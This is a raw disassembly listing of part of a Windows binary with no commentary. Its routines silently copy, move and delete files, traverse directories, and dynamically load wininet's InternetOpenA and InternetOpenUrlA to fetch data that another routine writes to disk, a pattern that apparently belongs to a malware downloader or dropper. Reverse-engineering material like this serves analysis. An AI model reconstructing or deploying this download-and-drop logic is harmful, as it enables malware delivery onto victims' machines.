cmp [ebp+arg_C], 0
jnz short loc_401B5E
jmp short loc_401B60
; ---------------------------------------------------------------------------
loc_401B5E: ; CODE XREF: sub_401ACF+7Cj
; sub_401ACF+8Bj
jmp short loc_401B00
; ---------------------------------------------------------------------------
loc_401B60: ; CODE XREF: sub_401ACF+3Cj
; sub_401ACF+8Dj
push offset a97 ; "97"
mov ecx, [ebp+arg_0]
call sub_4114FA
mov edx, [ebp+var_2004]
or edx, 1
mov [ebp+var_2004], edx
mov eax, [ebp+arg_0]
mov esp, ebp
pop ebp
retn 10h
sub_401ACF endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 230h
push edi
mov al, ds:byte_419C08
mov [ebp-230h], al
mov ecx, 41h
xor eax, eax
lea edi, [ebp-22Fh]
rep stosd
stosb
mov cl, ds:byte_419C0C
mov [ebp-108h], cl
mov ecx, 41h
xor eax, eax
lea edi, [ebp-107h]
rep stosd
stosb
push 104h
mov edx, [ebp+8]
push edx
lea eax, [ebp-230h]
push eax
call sub_402680
add esp, 0Ch
push 104h
mov ecx, [ebp+0Ch]
push ecx
lea edx, [ebp-108h]
push edx
call sub_402680
add esp, 0Ch
lea eax, [ebp-230h]
push eax
call sub_4021DB
add esp, 4
cmp eax, 1
jnz short loc_401C24
push 10000000h
call dword_413078 ; RtlSetLastWin32Error
xor eax, eax
jmp short loc_401C8D
; ---------------------------------------------------------------------------
loc_401C24: ; CODE XREF: HSho:00401C13j
push 1Eh
push 0
lea ecx, [ebp-128h]
push ecx
call sub_411622 ; memset
add esp, 0Ch
lea edx, [ebp-230h]
mov [ebp-120h], edx
lea eax, [ebp-108h]
mov [ebp-11Ch], eax
mov dword ptr [ebp-124h], 2
mov word ptr [ebp-118h], 80h
cmp dword ptr [ebp+10h], 0
jz short loc_401C7B
mov cx, [ebp-118h]
or cx, 210h
mov [ebp-118h], cx
loc_401C7B: ; CODE XREF: HSho:00401C66j
lea edx, [ebp-128h]
push edx
call dword_413288 ; SHFileOperationA
neg eax
sbb eax, eax
inc eax
loc_401C8D: ; CODE XREF: HSho:00401C22j
pop edi
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401C92 proc near ; CODE XREF: sub_402C48+18Ep
; sub_402C48+1F1p ...
var_140 = dword ptr -140h
var_13C = byte ptr -13Ch
var_13B = byte ptr -13Bh
var_34 = byte ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = word ptr -24h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_401C92
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
sub esp, 130h
push ebx
push esi
push edi
mov [ebp+var_10], esp
mov al, ds:byte_419C10
mov [ebp+var_13C], al
mov ecx, 41h
xor eax, eax
lea edi, [ebp+var_13B]
rep stosd
stosb
push 104h
mov ecx, [ebp+arg_0]
push ecx
lea edx, [ebp+var_13C]
push edx
call sub_402680
add esp, 0Ch
lea eax, [ebp+var_13C]
push eax
call sub_4021DB
add esp, 4
cmp eax, 1
jnz short loc_401D0D
push 10000000h
call dword_413078 ; RtlSetLastWin32Error
xor eax, eax
jmp short loc_401D79
; ---------------------------------------------------------------------------
loc_401D0D: ; CODE XREF: sub_401C92+6Aj
push 1Eh
push 0
lea ecx, [ebp+var_34]
push ecx
call sub_411622 ; memset
add esp, 0Ch
lea edx, [ebp+var_13C]
mov [ebp+var_2C], edx
mov [ebp+var_30], 3
mov [ebp+var_24], 694h
mov [ebp+var_14], 0FFFFFFFFh
mov [ebp+var_4], 0
push 1Ah
call dword_4130E0 ; Sleep
lea eax, [ebp+var_34]
push eax
call dword_413288 ; SHFileOperationA
mov [ebp+var_14], eax
jmp short loc_401D69
; ---------------------------------------------------------------------------
mov ecx, [ebp+var_140]
call sub_411500
mov eax, offset loc_401D69
retn
; ---------------------------------------------------------------------------
loc_401D69: ; CODE XREF: sub_401C92+C4j
; DATA XREF: sub_401C92+D1o
mov [ebp+var_4], 0FFFFFFFFh
xor eax, eax
cmp [ebp+var_14], 0
setz al
loc_401D79: ; CODE XREF: sub_401C92+79j
mov ecx, [ebp+var_C]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_401C92 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401D8A proc near ; CODE XREF: sub_402C48+16Dp
; sub_404605+1B7p ...
var_230 = byte ptr -230h
var_22F = byte ptr -22Fh
var_128 = byte ptr -128h
var_124 = dword ptr -124h
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = word ptr -118h
var_108 = byte ptr -108h
var_107 = byte ptr -107h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 230h
push edi
mov al, ds:byte_419C14
mov [ebp+var_230], al
mov ecx, 41h
xor eax, eax
lea edi, [ebp+var_22F]
rep stosd
stosb
mov cl, ds:byte_419C18
mov [ebp+var_108], cl
mov ecx, 41h
xor eax, eax
lea edi, [ebp+var_107]
rep stosd
stosb
push 104h
mov edx, [ebp+arg_0]
push edx
lea eax, [ebp+var_230]
push eax
call sub_402680
add esp, 0Ch
push 104h
mov ecx, [ebp+arg_4]
push ecx
lea edx, [ebp+var_108]
push edx
call sub_402680
add esp, 0Ch
lea eax, [ebp+var_230]
push eax
call sub_4021DB
add esp, 4
cmp eax, 1
jnz short loc_401E1E
push 10000000h
call dword_413078 ; RtlSetLastWin32Error
xor eax, eax
jmp short loc_401E81
; ---------------------------------------------------------------------------
loc_401E1E: ; CODE XREF: sub_401D8A+83j
push 1Eh
push 0
lea ecx, [ebp+var_128]
push ecx
call sub_411622 ; memset
add esp, 0Ch
lea edx, [ebp+var_230]
mov [ebp+var_120], edx
lea eax, [ebp+var_108]
mov [ebp+var_11C], eax
mov [ebp+var_124], 4
mov [ebp+var_118], 80h
mov cx, [ebp+var_118]
or cx, 614h
mov [ebp+var_118], cx
lea edx, [ebp+var_128]
push edx
call dword_413288 ; SHFileOperationA
neg eax
sbb eax, eax
inc eax
loc_401E81: ; CODE XREF: sub_401D8A+92j
pop edi
mov esp, ebp
pop ebp
retn
sub_401D8A endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 230h
push edi
mov al, ds:byte_419C1C
mov [ebp-230h], al
mov ecx, 41h
xor eax, eax
lea edi, [ebp-22Fh]
rep stosd
stosb
mov cl, ds:byte_419C20
mov [ebp-108h], cl
mov ecx, 41h
xor eax, eax
lea edi, [ebp-107h]
rep stosd
stosb
push 104h
mov edx, [ebp+8]
push edx
lea eax, [ebp-230h]
push eax
call sub_402680
add esp, 0Ch
push 104h
mov ecx, [ebp+0Ch]
push ecx
lea edx, [ebp-108h]
push edx
call sub_402680
add esp, 0Ch
push 1Eh
push 0
lea eax, [ebp-128h]
push eax
call sub_411622 ; memset
add esp, 0Ch
lea ecx, [ebp-230h]
mov [ebp-120h], ecx
lea edx, [ebp-108h]
mov [ebp-11Ch], edx
mov dword ptr [ebp-124h], 2
cmp dword ptr [ebp+10h], 0
jz short loc_401F44
mov ax, [ebp-118h]
or ax, 210h
mov [ebp-118h], ax
loc_401F44: ; CODE XREF: HSho:00401F30j
lea ecx, [ebp-128h]
push ecx
call dword_413288 ; SHFileOperationA
neg eax
sbb eax, eax
inc eax
pop edi
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 234h
push edi
mov al, ds:byte_419C24
mov [ebp-234h], al
mov ecx, 41h
xor eax, eax
lea edi, [ebp-233h]
rep stosd
stosb
push 104h
mov ecx, [ebp+8]
push ecx
lea edx, [ebp-234h]
push edx
call sub_402680
add esp, 0Ch
push 1Eh
push 0
lea eax, [ebp-24h]
push eax
call sub_411622 ; memset
add esp, 0Ch
lea ecx, [ebp-234h]
mov [ebp-1Ch], ecx
mov dword ptr [ebp-20h], 3
cmp dword ptr [ebp+0Ch], 0
jz short loc_401FCB
mov dx, [ebp-14h]
or dx, 210h
mov [ebp-14h], dx
loc_401FCB: ; CODE XREF: HSho:00401FBCj
mov al, ds:byte_419C28
mov [ebp-12Ch], al
mov ecx, 41h
xor eax, eax
lea edi, [ebp-12Bh]
rep stosd
lea ecx, [ebp-12Ch]
push ecx
push 104h
call dword_41302C ; GetCurrentDirectoryA
mov dword ptr [ebp-4], 1
loc_401FFE: ; CODE XREF: HSho:00402030j
cmp dword ptr [ebp-4], 0
jz short loc_402032
lea edx, [ebp-234h]
push edx
lea eax, [ebp-12Ch]
push eax
call sub_40239F
add esp, 8
test eax, eax
jnz short loc_402032
lea ecx, [ebp-12Ch]
push ecx
call sub_402296
add esp, 4
mov [ebp-4], eax
jmp short loc_401FFE
; ---------------------------------------------------------------------------
loc_402032: ; CODE XREF: HSho:00402002j
; HSho:0040201Cj
lea edx, [ebp-24h]
push edx
call dword_413288 ; SHFileOperationA
neg eax
sbb eax, eax
inc eax
pop edi
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 33Ch
push edi
mov al, ds:byte_419C2C
mov [ebp-33Ch], al
mov ecx, 41h
xor eax, eax
lea edi, [ebp-33Bh]
rep stosd
stosb
mov cl, ds:byte_419C30
mov [ebp-108h], cl
mov ecx, 41h
xor eax, eax
lea edi, [ebp-107h]
rep stosd
stosb
push 104h
mov edx, [ebp+8]
push edx
lea eax, [ebp-33Ch]
push eax
call sub_402680
add esp, 0Ch
push 104h
mov ecx, [ebp+0Ch]
push ecx
lea edx, [ebp-108h]
push edx
call sub_402680
add esp, 0Ch
push 1Eh
push 0
lea eax, [ebp-12Ch]
push eax
call sub_411622 ; memset
add esp, 0Ch
lea ecx, [ebp-33Ch]
mov [ebp-124h], ecx
lea edx, [ebp-108h]
mov [ebp-120h], edx
mov dword ptr [ebp-128h], 1
cmp dword ptr [ebp+10h], 0
jz short loc_402104
mov ax, [ebp-11Ch]
or ax, 210h
mov [ebp-11Ch], ax
loc_402104: ; CODE XREF: HSho:004020F0j
mov cl, ds:byte_419C34
mov [ebp-234h], cl
mov ecx, 41h
xor eax, eax
lea edi, [ebp-233h]
rep stosd
lea edx, [ebp-234h]
push edx
push 104h
call dword_41302C ; GetCurrentDirectoryA
mov dword ptr [ebp-10Ch], 1
loc_40213B: ; CODE XREF: HSho:00402180j
cmp dword ptr [ebp-10Ch], 0
jz short loc_402182
lea eax, [ebp-33Ch]
push eax
lea ecx, [ebp-234h]
push ecx
call sub_40239F
add esp, 8
test eax, eax
jnz short loc_402182
push 0
call sub_402296
add esp, 4
mov [ebp-10Ch], eax
lea edx, [ebp-234h]
push edx
push 104h
call dword_41302C ; GetCurrentDirectoryA
jmp short loc_40213B
; ---------------------------------------------------------------------------
loc_402182: ; CODE XREF: HSho:00402142j
; HSho:0040215Cj
lea eax, [ebp-12Ch]
push eax
call dword_413288 ; SHFileOperationA
neg eax
sbb eax, eax
inc eax
pop edi
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402199 proc near ; CODE XREF: sub_404A2D+Fp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0
mov eax, [ebp+arg_0]
push eax
call dword_413030 ; CreateDirectoryA
pop ebp
retn
sub_402199 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, [ebp+8]
push eax
call dword_413034 ; RemoveDirectoryA
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
call dword_413038 ; SetFileAttributesA
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, [ebp+8]
push eax
call dword_41303C ; GetFileAttributesA
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4021DB proc near ; CODE XREF: HSho:00401C08p
; sub_401C92+5Fp ...
var_144 = dword ptr -144h
var_140 = dword ptr -140h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 144h
push 140h
push 0
lea eax, [ebp+var_140]
push eax
call sub_411622 ; memset
add esp, 0Ch
lea ecx, [ebp+var_140]
push ecx
mov edx, [ebp+arg_0]
push edx
call dword_413044 ; FindFirstFileA
mov [ebp+var_144], eax
cmp [ebp+var_144], 0FFFFFFFFh
jnz short loc_40221E
xor eax, eax
jmp short loc_402292
; ---------------------------------------------------------------------------
loc_40221E: ; CODE XREF: sub_4021DB+3Dj
mov eax, [ebp+var_140]
or al, 10h
cmp [ebp+var_140], eax
jnz short loc_402280
loc_40222E: ; CODE XREF: sub_4021DB:loc_40226Aj
lea ecx, [ebp+var_140]
push ecx
mov edx, [ebp+var_144]
push edx
call dword_413080 ; FindNextFileA
test eax, eax
jz short loc_40226C
mov eax, [ebp+var_140]
or al, 10h
cmp [ebp+var_140], eax
jz short loc_40226A
mov ecx, [ebp+var_144]
push ecx
call dword_41307C ; FindClose
mov eax, 2
jmp short loc_402292
; ---------------------------------------------------------------------------
loc_40226A: ; CODE XREF: sub_4021DB+79j
jmp short loc_40222E
; ---------------------------------------------------------------------------
loc_40226C: ; CODE XREF: sub_4021DB+69j
mov edx, [ebp+var_144]
push edx
call dword_41307C ; FindClose
mov eax, 1
jmp short loc_402292
; ---------------------------------------------------------------------------
loc_402280: ; CODE XREF: sub_4021DB+51j
mov eax, [ebp+var_144]
push eax
call dword_41307C ; FindClose
mov eax, 2
loc_402292: ; CODE XREF: sub_4021DB+41j
; sub_4021DB+8Dj ...
mov esp, ebp
pop ebp
retn
sub_4021DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402296 proc near ; CODE XREF: HSho:00402025p
; HSho:00402160p
var_110 = dword ptr -110h
var_10C = byte ptr -10Ch
var_10B = byte ptr -10Bh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 110h
push edi
mov al, ds:byte_419C38
mov [ebp+var_10C], al
mov ecx, 41h
xor eax, eax
lea edi, [ebp+var_10B]
rep stosd
lea ecx, [ebp+var_10C]
push ecx
push 104h
call dword_41302C ; GetCurrentDirectoryA
lea edx, [ebp+var_10C]
push edx
call sub_402435
add esp, 4
movsx eax, al
test eax, eax
jz short loc_4022E9
xor eax, eax
jmp loc_40239A
; ---------------------------------------------------------------------------
loc_4022E9: ; CODE XREF: sub_402296+4Aj
lea ecx, [ebp+var_10C]
push ecx
call sub_41162E ; strlen
add esp, 4
mov [ebp+var_110], eax
mov edx, [ebp+var_110]
sub edx, 1
mov [ebp+var_4], edx
jmp short loc_402315
; ---------------------------------------------------------------------------
loc_40230C: ; CODE XREF: sub_402296:loc_40237Dj
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
loc_402315: ; CODE XREF: sub_402296+74j
cmp [ebp+var_4], 0
jl short loc_40237F
mov ecx, [ebp+var_4]
movsx edx, [ebp+ecx+var_10C]
cmp edx, 5Ch
jnz short loc_40237D
mov eax, [ebp+var_4]
mov [ebp+eax+var_10C], 0
cmp [ebp+arg_0], 0
jz short loc_40234F
lea ecx, [ebp+var_10C]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_411628 ; strcpy
add esp, 8
loc_40234F: ; CODE XREF: sub_402296+A4j
lea eax, [ebp+var_10C]
push eax
call sub_402435
add esp, 4
movsx ecx, al
test ecx, ecx
jz short loc_402369
xor eax, eax
jmp short loc_40239A
; ---------------------------------------------------------------------------
loc_402369: ; CODE XREF: sub_402296+CDj
lea edx, [ebp+var_10C]
push edx
call dword_413048 ; SetCurrentDirectoryA
mov eax, 1
jmp short loc_40239A
; ---------------------------------------------------------------------------
loc_40237D: ; CODE XREF: sub_402296+93j
jmp short loc_40230C
; ---------------------------------------------------------------------------
loc_40237F: ; CODE XREF: sub_402296+83j
cmp [ebp+arg_0], 0
jz short loc_402398
lea eax, [ebp+var_10C]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_411628 ; strcpy
add esp, 8
loc_402398: ; CODE XREF: sub_402296+EDj
xor eax, eax
loc_40239A: ; CODE XREF: sub_402296+4Ej
; sub_402296+D1j ...
pop edi
mov esp, ebp
pop ebp
retn
sub_402296 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40239F proc near ; CODE XREF: HSho:00402012p
; HSho:00402152p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
mov eax, [ebp+arg_0]
push eax
call sub_41162E ; strlen
add esp, 4
mov [ebp+var_4], eax
mov ecx, [ebp+arg_4]
push ecx
call sub_41162E ; strlen
add esp, 4
mov [ebp+var_C], eax
mov edx, [ebp+var_C]
sub edx, 1
cmp [ebp+var_4], edx
jb short loc_4023D3
xor eax, eax
jmp short loc_402430
; ---------------------------------------------------------------------------
loc_4023D3: ; CODE XREF: sub_40239F+2Ej
mov [ebp+var_8], 0
jmp short loc_4023E5
; ---------------------------------------------------------------------------
loc_4023DC: ; CODE XREF: sub_40239F:loc_40241Dj
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_4023E5: ; CODE XREF: sub_40239F+3Bj
mov ecx, [ebp+var_8]
cmp ecx, [ebp+var_4]
jnb short loc_40241F
mov edx, [ebp+arg_0]
add edx, [ebp+var_8]
movsx eax, byte ptr [edx]
push eax
call dword_4131F4 ; toupper
add esp, 4
mov esi, eax
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_8]
movsx edx, byte ptr [ecx]
push edx
call dword_4131F4 ; toupper
add esp, 4
cmp esi, eax
jz short loc_40241D
xor eax, eax
jmp short loc_402430
; ---------------------------------------------------------------------------
loc_40241D: ; CODE XREF: sub_40239F+78j
jmp short loc_4023DC
; ---------------------------------------------------------------------------
loc_40241F: ; CODE XREF: sub_40239F+4Cj
mov eax, [ebp+arg_4]
add eax, [ebp+var_8]
movsx ecx, byte ptr [eax]
xor eax, eax
cmp ecx, 5Ch
setz al
loc_402430: ; CODE XREF: sub_40239F+32j
; sub_40239F+7Cj
pop esi
mov esp, ebp
pop ebp
retn
sub_40239F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402435 proc near ; CODE XREF: sub_402296+3Dp
; sub_402296+C0p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
push eax
call sub_41162E ; strlen
add esp, 4
mov [ebp+var_4], eax
cmp [ebp+var_4], 2
jl short loc_402454
cmp [ebp+var_4], 3
jle short loc_402458
loc_402454: ; CODE XREF: sub_402435+17j
xor al, al
jmp short loc_4024B1
; ---------------------------------------------------------------------------
loc_402458: ; CODE XREF: sub_402435+1Dj
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
push edx
call dword_4131F4 ; toupper
add esp, 4
cmp eax, 41h
jl short loc_402482
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
push ecx
call dword_4131F4 ; toupper
add esp, 4
cmp eax, 5Ah
jle short loc_402486
loc_402482: ; CODE XREF: sub_402435+36j
xor al, al
jmp short loc_4024B1
; ---------------------------------------------------------------------------
loc_402486: ; CODE XREF: sub_402435+4Bj
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx+1]
cmp eax, 3Ah
jz short loc_402496
xor al, al
jmp short loc_4024B1
; ---------------------------------------------------------------------------
loc_402496: ; CODE XREF: sub_402435+5Bj
cmp [ebp+var_4], 3
jnz short loc_4024AC
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx+2]
cmp edx, 5Ch
jz short loc_4024AC
xor al, al
jmp short loc_4024B1
; ---------------------------------------------------------------------------
loc_4024AC: ; CODE XREF: sub_402435+65j
; sub_402435+71j
mov eax, [ebp+arg_0]
mov al, [eax]
loc_4024B1: ; CODE XREF: sub_402435+21j
; sub_402435+4Fj ...
mov esp, ebp
pop ebp
retn
sub_402435 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4024B5 proc near ; CODE XREF: HSho:0040257Fp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_C], ecx
mov eax, [ebp+arg_0]
push eax
call dword_4131D8 ; ftell
add esp, 4
mov [ebp+var_4], eax
push 2
push 0
mov ecx, [ebp+arg_0]
push ecx
call dword_4131F0 ; fseek
add esp, 0Ch
mov edx, [ebp+arg_0]
push edx
call dword_4131D8 ; ftell
add esp, 4
mov [ebp+var_8], eax
push 0
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call dword_4131F0 ; fseek
add esp, 0Ch
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn 4
sub_4024B5 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_411AFC
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
mov [ebp-34h], ecx
mov dword ptr [ebp-30h], 0
mov dword ptr [ebp-4], 1
lea ecx, [ebp-1Ch]
call sub_41151E
mov byte ptr [ebp-4], 2
mov dword ptr [ebp-14h], 0
mov dword ptr [ebp-18h], 0
mov dword ptr [ebp-10h], 0
push offset aR_0 ; "r"
lea ecx, [ebp+0Ch]
call sub_4026A0
push eax
call dword_4131C4 ; fopen
add esp, 8
mov [ebp-24h], eax
cmp dword ptr [ebp-24h], 0
jz short loc_4025E0
mov eax, [ebp-24h]
push eax
mov ecx, [ebp-34h]
call sub_4024B5
mov [ebp-14h], eax
mov ecx, [ebp-14h]
push ecx
call dword_4131C8 ; malloc
add esp, 4
mov [ebp-10h], eax
mov dword ptr [ebp-28h], 0
jmp short loc_4025A9
; ---------------------------------------------------------------------------
loc_4025A0: ; CODE XREF: HSho:004025BAj
mov edx, [ebp-28h]
add edx, 1
mov [ebp-28h], edx
loc_4025A9: ; CODE XREF: HSho:0040259Ej
mov eax, [ebp-28h]
cmp eax, [ebp-14h]
jge short loc_4025BC
mov ecx, [ebp-10h]
add ecx, [ebp-28h]
mov byte ptr [ecx], 0Ah
jmp short loc_4025A0
; ---------------------------------------------------------------------------
loc_4025BC: ; CODE XREF: HSho:004025AFj
mov edx, [ebp-24h]
push edx
push 1
mov eax, [ebp-14h]
push eax
mov ecx, [ebp-10h]
push ecx
call dword_413254 ; fread
add esp, 10h
mov edx, [ebp-24h]
push edx
call dword_4131D0 ; fclose
add esp, 4
loc_4025E0: ; CODE XREF: HSho:00402576j
cmp dword ptr [ebp-10h], 0
jz short loc_402630
mov eax, [ebp-14h]
push eax
push 0
mov ecx, [ebp-10h]
push ecx
lea edx, [ebp-2Ch]
push edx
lea ecx, [ebp-20h]
call sub_401ACF
mov [ebp-38h], eax
mov eax, [ebp-38h]
mov [ebp-3Ch], eax
mov byte ptr [ebp-4], 3
mov ecx, [ebp-3Ch]
push ecx
lea ecx, [ebp-1Ch]
call sub_411518
mov byte ptr [ebp-4], 2
lea ecx, [ebp-2Ch]
call sub_411512
mov edx, [ebp-10h]
push edx
call dword_4131D4 ; free
add esp, 4
jmp short loc_40263D
; ---------------------------------------------------------------------------
loc_402630: ; CODE XREF: HSho:004025E4j
push offset dword_419C3C
lea ecx, [ebp-1Ch]
call sub_41150C
loc_40263D: ; CODE XREF: HSho:0040262Ej
lea eax, [ebp-1Ch]
push eax
mov ecx, [ebp+8]
call sub_411506
mov ecx, [ebp-30h]
or ecx, 1
mov [ebp-30h], ecx
mov byte ptr [ebp-4], 1
lea ecx, [ebp-1Ch]
call sub_411512
mov byte ptr [ebp-4], 0
lea ecx, [ebp+0Ch]
call sub_411512
mov eax, [ebp+8]
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn 8
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402680 proc near ; CODE XREF: HSho:00401BE1p
; HSho:00401BF9p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call dword_413200 ; _mbsnbcpy
add esp, 0Ch
pop ebp
retn
sub_402680 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4026A0 proc near ; CODE XREF: HSho:00402560p
; sub_4064D9+1Dp ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov eax, [eax]
mov esp, ebp
pop ebp
retn
sub_4026A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4026B0 proc near ; CODE XREF: sub_402A1E+7Fp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax], offset off_4132CC
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_4026B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4026C7 proc near ; CODE XREF: sub_4029F0+Ap
; sub_402BB1+26p ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax], offset off_4132CC
mov esp, ebp
pop ebp
retn
sub_4026C7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4026DB proc near ; CODE XREF: sub_402C48+A6p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
mov [ebp+var_14], ecx
mov [ebp+var_8], 0
mov [ebp+var_4], 0
lea eax, [ebp+var_8]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov ecx, [ebp+var_14]
call sub_4027A4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jbe loc_402798
cmp [ebp+arg_4], 0
jz short loc_402776
push 0
push 8000000h
push 2
push 0
push 0
push 40000000h
mov edx, [ebp+arg_4]
push edx
call dword_413018 ; CreateFileA
mov [ebp+var_10], eax
cmp [ebp+var_10], 0FFFFFFFFh
jnz short loc_40273E
xor al, al
jmp short loc_40279E
; ---------------------------------------------------------------------------
loc_40273E: ; CODE XREF: sub_4026DB+5Dj
mov [ebp+var_C], 0
push 0
lea eax, [ebp+var_C]
push eax
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+var_14]
mov eax, [edx+4]
push eax
mov ecx, [ebp+var_10]
push ecx
call dword_413050 ; WriteFile
mov edx, [ebp+var_10]
push edx
call dword_413020 ; CloseHandle
mov eax, [ebp+var_C]
cmp eax, [ebp+var_4]
jz short loc_402776
xor al, al
jmp short loc_40279E
; ---------------------------------------------------------------------------
loc_402776: ; CODE XREF: sub_4026DB+38j
; sub_4026DB+95j
mov ecx, [ebp+var_14]
cmp dword ptr [ecx+4], 0
jz short loc_402796
mov edx, [ebp+var_14]
mov eax, [edx+4]
push eax
call dword_41304C ; GlobalFree
mov ecx, [ebp+var_14]
mov dword ptr [ecx+4], 0
loc_402796: ; CODE XREF: sub_4026DB+A2j
jmp short loc_40279C
; ---------------------------------------------------------------------------
loc_402798: ; CODE XREF: sub_4026DB+2Ej
xor al, al
jmp short loc_40279E
; ---------------------------------------------------------------------------
loc_40279C: ; CODE XREF: sub_4026DB:loc_402796j
mov al, 1
loc_40279E: ; CODE XREF: sub_4026DB+61j
; sub_4026DB+99j ...
mov esp, ebp
pop ebp
retn 8
sub_4026DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4027A4 proc near ; CODE XREF: sub_4026DB+22p
; sub_402F1E+35p
var_2034 = dword ptr -2034h
var_2030 = dword ptr -2030h
var_202C = dword ptr -202Ch
var_2028 = dword ptr -2028h
var_2024 = dword ptr -2024h
var_2020 = byte ptr -2020h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 2034h
call sub_4115D0
mov [ebp+var_2034], ecx
cmp [ebp+arg_0], 0
jnz short loc_4027C4
xor eax, eax
jmp loc_4029EA
; ---------------------------------------------------------------------------
loc_4027C4: ; CODE XREF: sub_4027A4+17j
mov eax, [ebp+var_2034]
cmp dword ptr [eax+4], 0
jz short loc_4027ED
mov ecx, [ebp+var_2034]
mov edx, [ecx+4]
push edx
call dword_41304C ; GlobalFree
mov eax, [ebp+var_2034]
mov dword ptr [eax+4], 0
loc_4027ED: ; CODE XREF: sub_4027A4+2Aj
push offset aWininet_dll ; "wininet.dll"
call dword_4130DC ; LoadLibraryA
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jnz short loc_402808
xor eax, eax
jmp loc_4029EA
; ---------------------------------------------------------------------------
loc_402808: ; CODE XREF: sub_4027A4+5Bj
push offset aInternetopena ; "InternetOpenA"
mov ecx, [ebp+var_1C]
push ecx
call dword_413060 ; GetProcAddress
mov [ebp+var_202C], eax
push offset aInternetopenur ; "InternetOpenUrlA"
mov edx, [ebp+var_1C]
